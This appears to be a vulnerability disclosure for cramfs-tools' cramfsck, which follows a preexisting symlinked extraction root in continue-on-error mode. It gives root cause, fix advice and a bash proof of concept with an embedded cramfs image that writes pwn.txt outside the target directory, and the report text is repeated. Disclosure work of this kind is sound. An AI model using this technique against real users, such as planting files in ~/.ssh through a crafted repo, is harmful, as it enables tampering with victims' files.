cramfs-tools cramfsck contains a hostile-prestate filesystem issue in continue-on-error mode (-c): if the chosen extraction directory already exists as a symlink, cramfsck -x records the mkdir() failure but still continues extraction and performs filesystem writes through the symlink target, outside the intended destination directory. This aligns with CWE-59: Improper Link Resolution Before File Access.
One realistic attack scenario is a “malicious repo / firmware sample bundle” that includes a symlinked output directory and a cramfs image that looks harmless (no ../ traversal needed inside the filesystem image):
repo/
|-- out -> ~/.ssh/ (preexisting symlink; attacker-controlled repo content)
`-- rootfs.cramfs (attacker-controlled cramfs image)
Victim workflow:
- Victim runs “best effort” extraction because images may be corrupted:
cramfsck -c -x out rootfs.cramfs (commonly in IoT firmware extraction scenario)
cramfsck prints an error for mkdir(out) but continues.
If rootfs.cramfs contains a normal entry like pwn.txt (or dir/pwn.txt), cramfsck can end up creating ~/.ssh/pwn.txt (or ~/.ssh/dir/pwn.txt) within the victim’s permissions. The escape happens because destination path resolution follows a preexisting symlink at the extraction root.
A preexisting extraction-root symlink causes mkdir() to fail but extraction continues and writes through the symlink target.
0. Environment
- Target:
test_target/cramfs-tools/cramfsck (extraction: cramfsck -c -x), plus test_target/cramfs-tools/mkcramfs for PoC image generation
- Version:
cramfs-tools HEAD 6039143acbf2 (repo: test_target/cramfs-tools/)
- Build (from repository root):
make -C test_target/cramfs-tools -j"$(nproc)"
- Binaries:
test_target/cramfs-tools/cramfsck, test_target/cramfs-tools/mkcramfs
1. Description
In continue-on-error mode (-c), cramfsck -x logs extraction errors but does not abort control flow. If the extraction root already exists as a symlink, the initial mkdir() failure is recorded and extraction continues through the symlink target.
Relevant code:
test_target/cramfs-tools/cramfsck.c:125-150 — die(...) only records the error when opt_continue > 0.
test_target/cramfs-tools/cramfsck.c:557-562 — directory extraction calls mkdir(path, ...) and reports failure through die(...) but continues control flow.
test_target/cramfs-tools/cramfsck.c:623-628 — regular files are opened with open(path, O_WRONLY | O_CREAT | O_EXCL, ...), which still follows a preexisting root symlink.
2. Impact
When -c is used, a hostile preexisting extraction root symlink can redirect writes outside the intended destination directory.
Practical impact includes:
- escaping into attacker-chosen directories during “best effort” extraction workflows;
- producing misleading extraction results because the tool reports an error but still writes data elsewhere;
- increasing risk in recovery or triage pipelines that use
-c on malformed images.
3. Reason / Root Cause
The extractor assumes that a reported error is enough to safely continue.
That is false here: after mkdir("out", ...) fails because out is a symlink, subsequent path operations still use out/... and therefore follow the symlink target.
This is an error-recovery control-flow bug.
4. Proof-of-Concept
4.1 PoC file
4.2 What the PoC does
The PoC:
- Builds a valid cramfs image containing
pwn.txt.
- Pre-creates
out -> outside.
- Runs the in-tree
cramfsck -c -x out.
- Verifies that
outside/pwn.txt is created.
4.3 Expected result
Successful exploitation creates:
/tmp/unpfuzz_cramfs_symlink/outside/pwn.txt
even though extraction was requested into:
/tmp/unpfuzz_cramfs_symlink/out
5. Fix Recommendations
- Treat extraction-root creation failure as fatal when the target path already exists but is not a real directory.
- In continue mode, distinguish recoverable parse errors from unrecoverable destination-state violations.
- Use
lstat() to reject symlink extraction roots before any recursive extraction begins.
- Add regression tests for
-c -x with preexisting symlink roots.
6. Reproduction
From the repository root:
Below is the poc.sh
#!/usr/bin/env bash
set -euo pipefail
CRAMFSCK_BIN="${CRAMFSCK_BIN:-cramfsck}"
CRAMFS_TOOLS_SRC="${CRAMFS_TOOLS_SRC:-}"
ensure_bin() {
local bin="$1"
if [[ "$bin" == */* ]]; then
[[ -x "$bin" ]]
return
fi
command -v "$bin" >/dev/null 2>&1
}
build_tools_if_needed() {
if [[ -z "$CRAMFS_TOOLS_SRC" ]]; then
return
fi
local build_dir="/tmp/unpfuzz_build_cramfs_tools"
rm -rf "$build_dir"
mkdir -p "$build_dir"
cp -a "$CRAMFS_TOOLS_SRC"/. "$build_dir"/
make -C "$build_dir" -j"$(nproc)" >/dev/null
CRAMFSCK_BIN="$build_dir/cramfsck"
}
if ! ensure_bin "$CRAMFSCK_BIN"; then
true
fi
if ! ensure_bin "$CRAMFSCK_BIN"; then
build_tools_if_needed
fi
if ! ensure_bin "$CRAMFSCK_BIN"; then
echo "error: cramfs extractor not found. Set CRAMFSCK_BIN=/path/to/cramfsck (or install cramfs-tools)." >&2
exit 1
fi
base=/tmp/unpfuzz_cramfs_symlink
rm -rf "$base"
mkdir -p "$base/outside"
# A tiny cramfs image (4KB) containing one regular file: `pwn.txt` with contents `CRAMFS\n`.
python3 - <<'PY'
import base64
from pathlib import Path
out = Path("/tmp/unpfuzz_cramfs_symlink/test.cramfs")
b64 = """
RT3NKAAQAAADAAAAAAAAAENvbXByZXNzZWQgUk9NRlNQSM9AAAAAAAEAAAACAAAAQ29tcHJlc3Nl
ZAAAAAAAAO1B6AMUAADowAQAAKSB6AMHAADoAgYAAHB3bi50eHQAcwAAAHjacw5y9HUL5gIAB8MB
xwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
"""
out.write_bytes(base64.b64decode("".join(b64.split())))
PY
ln -s outside "$base/out"
(cd "$base" && "$CRAMFSCK_BIN" -c -x out test.cramfs >/dev/null 2>&1 || true)
if [[ ! -f "$base/outside/pwn.txt" ]]; then
echo "[-] exploit failed: outside file was not created" >&2
find "$base" -maxdepth 2 -ls >&2
exit 1
fi
echo "[+] continue mode extracted through symlink root"
cat "$base/outside/pwn.txt"
cramfs-tools
cramfsckcontains a hostile-prestate filesystem issue in continue-on-error mode (-c): if the chosen extraction directory already exists as a symlink,cramfsck -xrecords themkdir()failure but still continues extraction and performs filesystem writes through the symlink target, outside the intended destination directory. This aligns with CWE-59: Improper Link Resolution Before File Access.One realistic attack scenario is a “malicious repo / firmware sample bundle” that includes a symlinked output directory and a cramfs image that looks harmless (no
../traversal needed inside the filesystem image):Victim workflow:
cramfsck -c -x out rootfs.cramfs(commonly in IoT firmware extraction scenario)cramfsckprints an error formkdir(out)but continues.If
rootfs.cramfscontains a normal entry likepwn.txt(ordir/pwn.txt),cramfsckcan end up creating~/.ssh/pwn.txt(or~/.ssh/dir/pwn.txt) within the victim’s permissions. The escape happens because destination path resolution follows a preexisting symlink at the extraction root.A preexisting extraction-root symlink causes
mkdir()to fail but extraction continues and writes through the symlink target.0. Environment
test_target/cramfs-tools/cramfsck(extraction:cramfsck -c -x), plustest_target/cramfs-tools/mkcramfsfor PoC image generationcramfs-toolsHEAD6039143acbf2(repo:test_target/cramfs-tools/)make -C test_target/cramfs-tools -j"$(nproc)"test_target/cramfs-tools/cramfsck,test_target/cramfs-tools/mkcramfs1. Description
In continue-on-error mode (
-c),cramfsck -xlogs extraction errors but does not abort control flow. If the extraction root already exists as a symlink, the initialmkdir()failure is recorded and extraction continues through the symlink target.Relevant code:
test_target/cramfs-tools/cramfsck.c:125-150—die(...)only records the error whenopt_continue > 0.test_target/cramfs-tools/cramfsck.c:557-562— directory extraction callsmkdir(path, ...)and reports failure throughdie(...)but continues control flow.test_target/cramfs-tools/cramfsck.c:623-628— regular files are opened withopen(path, O_WRONLY | O_CREAT | O_EXCL, ...), which still follows a preexisting root symlink.2. Impact
When
-cis used, a hostile preexisting extraction root symlink can redirect writes outside the intended destination directory.Practical impact includes:
-con malformed images.3. Reason / Root Cause
The extractor assumes that a reported error is enough to safely continue.
That is false here: after
mkdir("out", ...)fails becauseoutis a symlink, subsequent path operations still useout/...and therefore follow the symlink target.This is an error-recovery control-flow bug.
4. Proof-of-Concept
4.1 PoC file
poc.sh4.2 What the PoC does
The PoC:
pwn.txt.out -> outside.cramfsck -c -x out.outside/pwn.txtis created.4.3 Expected result
Successful exploitation creates:
/tmp/unpfuzz_cramfs_symlink/outside/pwn.txteven though extraction was requested into:
/tmp/unpfuzz_cramfs_symlink/out5. Fix Recommendations
lstat()to reject symlink extraction roots before any recursive extraction begins.-c -xwith preexisting symlink roots.6. Reproduction
From the repository root:
Below is the poc.sh